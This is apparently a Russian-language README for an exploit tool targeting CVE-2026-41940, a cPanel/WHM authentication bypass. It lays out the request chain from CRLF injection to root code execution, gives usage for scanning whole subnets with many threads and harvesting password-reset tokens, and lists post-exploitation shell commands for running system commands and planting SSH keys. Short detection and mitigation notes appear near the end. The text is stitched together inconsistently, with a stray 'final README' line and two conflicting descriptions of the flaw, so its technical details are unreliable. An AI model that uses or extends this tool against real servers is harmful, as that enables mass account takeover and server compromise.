CVE-2026-41940 — Обход аутентификации cPanel/WHM

Автор: Dr.Anach | Контакты: @dranach | Лицензия: MIT

---

Обзор

CRLF-инъекция в обработчике Basic-аутентификации cpsrvd → неавторизованный доступ к WHM API → RCE от root. Затронуты все версии cPanel, начиная с v11.40.

Цепочка атаки

#	Шаг	Запрос
1	Создание сессии	GET /login/?user=root
2	CRLF-инъекция	Authorization: Basic <base64> — пароль содержит полезную нагрузку \r\n
3	Продвижение кеша	GET /cpsess<ID>/login/?login_only=1
4	Выполнение	GET /cpsess<ID>/execute/API/func

Установка

pip install requests colorama

Ниже представлен финальный README.md — удобный для человека, практичный и ориентированный на выполнение задач.

---

Эксплойт обхода аутентификации cPanel — CVE-2026-41940

Автор: Dr.Anach · Telegram: @dranach
Версия: 2.0.0
Лицензия: Только для авторизованного тестирования безопасности

---

Что это делает

Эксплуатирует CVE-2026-41940, обход аутентификации в cPanel & WHM (версии 11.x – 106.x). Уязвимость позволяет неавторизованному злоумышленнику получить доступ к ограниченным конечным точкам, включая функцию сброса пароля, отправляя поддельный заголовок Host, указывающий на сервер злоумышленника.

Поставляется с тремя режимами:

Режим	Флаг	Что делает
Одиночная цель	-t	Проверить один IP или домен
Пакетный файл	--batch	Загрузить список целей из файла
Сканирование CIDR	--port-scan	Развернуть подсеть и проверить каждый активный хост

---

Установка

Требования

• Python 3.7+ (протестировано на Windows, Linux, macOS)
• Библиотека requests

pip install requests

Никаких других зависимостей. Расширение CIDR использует встроенный модуль Python ipaddress — ничего дополнительно устанавливать не требуется, в том числе на Windows.

---

Быстрый старт

Проверка одной цели

python main.py -t example.com
python main.py -t 192.168.1.100

Проверка списка целей (по одной на строку)

python main.py --batch targets.txt --threads 50

Формат targets.txt:

192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102

Сканирование целой подсети (CIDR)

python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5

Это разворачивает 192.168.128.0/18 (16 384 IP-адреса), выполняет быструю проверку порта для каждого и пытается эксплуатировать только те хосты, на которых открыт порт 2087 (cPanel/WHM).

---

Полные опции

  -t, --target        Одиночная цель: IP или домен
  --batch FILE        Файл с целями (по одной на строку)
  --port-scan CIDR    Диапазон CIDR для сканирования (например, 192.168.128.0/18)
  -p, --port          Целевой порт (по умолчанию: 2087)
  --ssl               Использовать HTTPS (по умолчанию: HTTP)
  --timeout SEC       Тайм-аут соединения в секундах (по умолчанию: 10)
  --threads N         Максимальное количество одновременных потоков (по умолчанию: 50)
  --proxy PROXY       HTTP-прокси (например, http://127.0.0.1:8080)
  -v, --verbose       Подробный вывод с отладочной информацией
  --no-banner         Подавить баннер
  --version           Показать версию

---

Понимание вывода

[+] 192.168.130.45:2087 — УЯЗВИМ!
    → URL сброса пароля: http://192.168.130.45:2087/reset?token=abc123
    → Время ответа: 1.23s

[-] 192.168.131.10:2087 — Не уязвим
    → Причина: конечная точка сброса пароля не найдена

[!] 192.168.129.22:2087 — Ошибка: соединение отклонено

Результаты сохраняются в формате JSON, структурированы по каждому хосту с указанием статуса уязвимости, извлечённых токенов и деталей исходного ответа.

---

Практический пример: Сканирование /18 на Windows

Сценарий, ради которого вы, вероятно, здесь:

python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v

Как это работает:

1. Разворачивает 192.168.128.0/18 → 16 384 IP-адреса внутри
2. Предварительно фильтрует быстрым TCP-сканированием порта 2087 (пропускает неактивные хосты)
3. Эксплуатирует только хосты с открытым портом
4. Сообщает об уязвимых хостах с извлечёнными токенами сброса

Советы по потокам:

• --threads 100 работает хорошо (с учётом стандартных ограничений сокетов)
• Для более быстрого сканирования на хорошем соединении: --threads 200
• Если вы сталкиваетесь с ограничением скорости: уменьшите до --threads 30 и увеличьте --timeout

---

CVSS и риск

CVSS 9.1 (Критический) — не требуется аутентификация, не требуется взаимодействие с пользователем, низкая сложность.

Воздействие

• Несанкционированный сброс пароля для любой учётной записи cPanel
• Полный захват учётной записи
• Повышение привилегий от ограниченного до администратора в некоторых конфигурациях

Устранение

• Обновить cPanel/WHM до последней исправленной версии
• Проверять заголовки Host на стороне сервера
• Ограничить доступ к WHM по IP там, где это возможно

---

Правовая информация

Этот инструмент предназначен только для авторизованных оценок безопасности. Вы должны владеть целями или иметь письменное разрешение владельца перед тестированием. Авторы не несут ответственности за неправомерное использование.

Команды интерактивной оболочки

help       Показать команды
info       Информация о сервере
passwd     Изменить пароль
accounts   Список учётных записей cPanel
enum       Полная переборка
shell      Выполнить системную команду
ssh-add    Внедрить SSH-ключ
exec       Выполнить однострочник Python
exit       Выход

Обнаружение

Проверьте файлы сессий:

ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/

Подозрительные записи в /usr/local/cpanel/logs/access_log:

/login/?user=root        → создание сессии
/login/?user=root        → CRLF-инъекция
/cpsess*/login/?login_only=1  → продвижение кеша
/cpsess*/execute/*       → злоупотребление API

Смягчение

# 1. Установите патч до исправленной сборки
# 2. Замените все пароли и SSH-ключи
# 3. Очистите сессии
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel

Благодарности

• Уязвимость: Sina Kheirkhah / watchTowr Labs
• Фреймворк: Dr.Anach (@dranach)